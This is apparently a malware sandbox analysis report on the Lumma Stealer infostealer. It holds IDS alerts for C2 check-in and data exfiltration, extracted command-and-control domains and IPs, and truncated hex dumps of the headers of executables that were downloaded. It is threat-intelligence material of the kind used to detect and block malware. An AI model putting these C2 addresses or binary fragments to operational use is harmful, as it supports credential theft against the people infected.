Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49909 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49925 -> 172.67.209.202:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 06:56:43 GMTContent-Type: application/octet-streamContent-Length: 1733632Last-Modified: Thu, 19 Dec 2024 06:18:47 GMTConnection: keep-aliveETag: "6763bac7-1a7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 77 6a 61 69 72 73 74 00 20 1a 00 00 c0 2a 00 00 12 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 63 65 77 6b 69 73 73 00 20 00 00 00 e0 44 00 00 06 00 00 00 4c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 45 00 00 22 00 00 00 52 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 06:56:47 GMTContent-Type: application/octet-streamContent-Length: 2869248Last-Modified: Thu, 19 Dec 2024 06:20:24 GMTConnection: keep-aliveETag: "6763bb28-2bc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6f 72 79 77 6c 70 00 30 2a 00 00 c0 24 00 00 26 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 7a 67 62 63 61 71 73 00 10 00 00 00 f0 4e 00 00 04 00 00 00 a2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 a6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 